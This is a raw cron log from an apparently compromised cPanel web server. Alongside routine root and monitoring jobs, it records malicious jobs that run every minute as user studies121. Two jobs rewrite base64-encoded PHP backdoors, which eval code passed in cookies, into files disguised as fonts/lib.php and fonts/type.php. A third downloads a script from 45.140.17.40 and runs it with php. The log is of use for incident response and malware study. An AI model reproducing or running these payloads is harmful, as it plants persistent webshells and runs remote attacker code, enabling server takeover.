Sep 10 21:30:01 ip-184-168-122-23 CROND[13025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:30:01 ip-184-168-122-23 CROND[13026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:30:01 ip-184-168-122-23 CROND[13027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:31:01 ip-184-168-122-23 CROND[13129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:31:01 ip-184-168-122-23 CROND[13131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:31:01 ip-184-168-122-23 CROND[13132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:31:01 ip-184-168-122-23 CROND[13133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:31:01 ip-184-168-122-23 CROND[13134]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 21:32:01 ip-184-168-122-23 CROND[13230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:32:01 ip-184-168-122-23 CROND[13233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:32:01 ip-184-168-122-23 CROND[13234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:32:01 ip-184-168-122-23 CROND[13232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:32:01 ip-184-168-122-23 CROND[13235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:33:01 ip-184-168-122-23 CROND[13420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:33:01 ip-184-168-122-23 CROND[13418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:33:01 ip-184-168-122-23 CROND[13419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:33:01 ip-184-168-122-23 CROND[13421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:34:01 ip-184-168-122-23 CROND[13505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:34:01 ip-184-168-122-23 CROND[13508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:34:01 ip-184-168-122-23 CROND[13507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:34:01 ip-184-168-122-23 CROND[13509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:34:01 ip-184-168-122-23 CROND[13510]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:35:02 ip-184-168-122-23 CROND[13612]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 21:35:02 ip-184-168-122-23 CROND[13615]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 21:35:02 ip-184-168-122-23 CROND[13616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:35:02 ip-184-168-122-23 CROND[13614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:35:02 ip-184-168-122-23 CROND[13617]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:35:02 ip-184-168-122-23 CROND[13618]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:35:02 ip-184-168-122-23 CROND[13620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:35:02 ip-184-168-122-23 CROND[13619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:36:01 ip-184-168-122-23 CROND[13724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:36:01 ip-184-168-122-23 CROND[13727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:36:01 ip-184-168-122-23 CROND[13726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:36:01 ip-184-168-122-23 CROND[13728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:36:01 ip-184-168-122-23 CROND[13729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:37:01 ip-184-168-122-23 CROND[13820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:37:01 ip-184-168-122-23 CROND[13821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:37:01 ip-184-168-122-23 CROND[13822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:37:01 ip-184-168-122-23 CROND[13823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:38:01 ip-184-168-122-23 CROND[13909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:38:01 ip-184-168-122-23 CROND[13911]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:38:01 ip-184-168-122-23 CROND[13913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:38:01 ip-184-168-122-23 CROND[13912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:38:01 ip-184-168-122-23 CROND[13914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:39:01 ip-184-168-122-23 CROND[14089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:39:01 ip-184-168-122-23 CROND[14092]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 21:39:01 ip-184-168-122-23 CROND[14094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:39:01 ip-184-168-122-23 CROND[14091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:39:01 ip-184-168-122-23 CROND[14093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:40:01 ip-184-168-122-23 CROND[14191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:40:01 ip-184-168-122-23 CROND[14192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:40:01 ip-184-168-122-23 CROND[14199]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 21:40:01 ip-184-168-122-23 CROND[14196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:40:01 ip-184-168-122-23 CROND[14200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:40:01 ip-184-168-122-23 CROND[14201]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:40:01 ip-184-168-122-23 CROND[14197]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:40:01 ip-184-168-122-23 CROND[14198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:41:01 ip-184-168-122-23 CROND[14307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:41:01 ip-184-168-122-23 CROND[14309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:41:01 ip-184-168-122-23 CROND[14311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:41:01 ip-184-168-122-23 CROND[14310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:42:01 ip-184-168-122-23 CROND[14396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:42:01 ip-184-168-122-23 CROND[14398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:42:01 ip-184-168-122-23 CROND[14400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:42:01 ip-184-168-122-23 CROND[14402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
